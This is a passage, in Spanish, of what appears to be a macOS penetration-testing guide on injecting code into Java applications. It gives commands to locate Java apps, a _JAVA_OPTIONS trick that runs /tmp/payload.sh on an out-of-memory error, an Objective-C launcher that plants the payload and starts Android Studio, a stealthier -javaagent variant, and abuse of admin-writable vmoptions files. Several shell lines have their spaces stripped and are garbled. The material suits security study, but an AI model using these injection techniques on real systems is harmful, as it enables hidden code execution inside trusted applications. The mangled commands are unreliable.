Encuentra aplicaciones Java instaladas en tu sistema. Se observó que las aplicaciones Java en el archivo Info.plist contendrán algunos parámetros de Java que contienen la cadena java., por lo que puedes buscar eso:
# Search only in /Applications foldersudofind/Applications-name'Info.plist'-execgrep-l"java\."{} \; 2>/dev/null# Full searchsudofind/-name'Info.plist'-execgrep-l"java\."{} \; 2>/dev/null
_JAVA_OPTIONS
La variable de entorno _JAVA_OPTIONS se puede utilizar para inyectar parámetros java arbitrarios en la ejecución de una aplicación compilada en Java:
# Write your payload in a script called /tmp/payload.shexport _JAVA_OPTIONS='-Xms2m -Xmx5m -XX:OnOutOfMemoryError="/tmp/payload.sh"'"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
Para ejecutarlo como un nuevo proceso y no como un hijo del terminal actual, puedes usar:
#import <Foundation/Foundation.h>
// clang -fobjc-arc -framework Foundation invoker.m -o invoker
int main(int argc, const char * argv[]) {
@autoreleasepool {
// Specify the file path and content
NSString *filePath = @"/tmp/payload.sh";
NSString *content = @"#!/bin/bash\n/Applications/iTerm.app/Contents/MacOS/iTerm2";
NSError *error = nil;
// Write content to the file
BOOL success = [content writeToFile:filePath
atomically:YES
encoding:NSUTF8StringEncoding
error:&error];
if (!success) {
NSLog(@"Error writing file at %@\n%@", filePath, [error localizedDescription]);
return 1;
}
NSLog(@"File written successfully to %@", filePath);
// Create a new task
NSTask *task = [[NSTask alloc] init];
/// Set the task's launch path to use the 'open' command
[task setLaunchPath:@"/usr/bin/open"];
// Arguments for the 'open' command, specifying the path to Android Studio
[task setArguments:@[@"/Applications/Android Studio.app"]];
// Define custom environment variables
NSDictionary *customEnvironment = @{
@"_JAVA_OPTIONS": @"-Xms2m -Xmx5m -XX:OnOutOfMemoryError=/tmp/payload.sh"
};
// Get the current environment and merge it with custom variables
NSMutableDictionary *environment = [NSMutableDictionary dictionaryWithDictionary:[[NSProcessInfo processInfo] environment]];
[environment addEntriesFromDictionary:customEnvironment];
// Set the task's environment
[task setEnvironment:environment];
// Launch the task
[task launch];
}
return 0;
}
Sin embargo, esto provocará un error en la aplicación ejecutada, otra forma más sigilosa es crear un agente de Java y usar:
export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"# Oropen--env"_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'"-a"Burp Suite Professional"
Crear el agente con una versión diferente de Java a la de la aplicación puede provocar que se bloquee la ejecución tanto del agente como de la aplicación
Y luego exporta la variable de entorno y ejecuta la aplicación Java de la siguiente manera:
export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar'"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"# Oropen--env"_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'"-a"Burp Suite Professional"
Archivo vmoptions
Este archivo admite la especificación de parámetros de Java cuando se ejecuta Java. Puedes usar algunos de los trucos anteriores para cambiar los parámetros de Java y hacer que el proceso ejecute comandos arbitrarios.
Además, este archivo también puede incluir otros con el directorio include, por lo que también podrías cambiar un archivo incluido.
Incluso, algunas aplicaciones Java cargarán más de un archivo vmoptions.
Algunas aplicaciones como Android Studio indican en su salida dónde están buscando estos archivos, por ejemplo:
Si no lo hacen, puedes verificarlo fácilmente con:
# Monitorsudoesloggerlookup|grepvmoption# Give FDA to the Terminal# Launch the Java app/Applications/Android\Studio.app/Contents/MacOS/studio
Es interesante notar que en este ejemplo Android Studio está intentando cargar el archivo /Applications/Android Studio.app.vmoptions, un lugar donde cualquier usuario del grupo admin tiene acceso de escritura.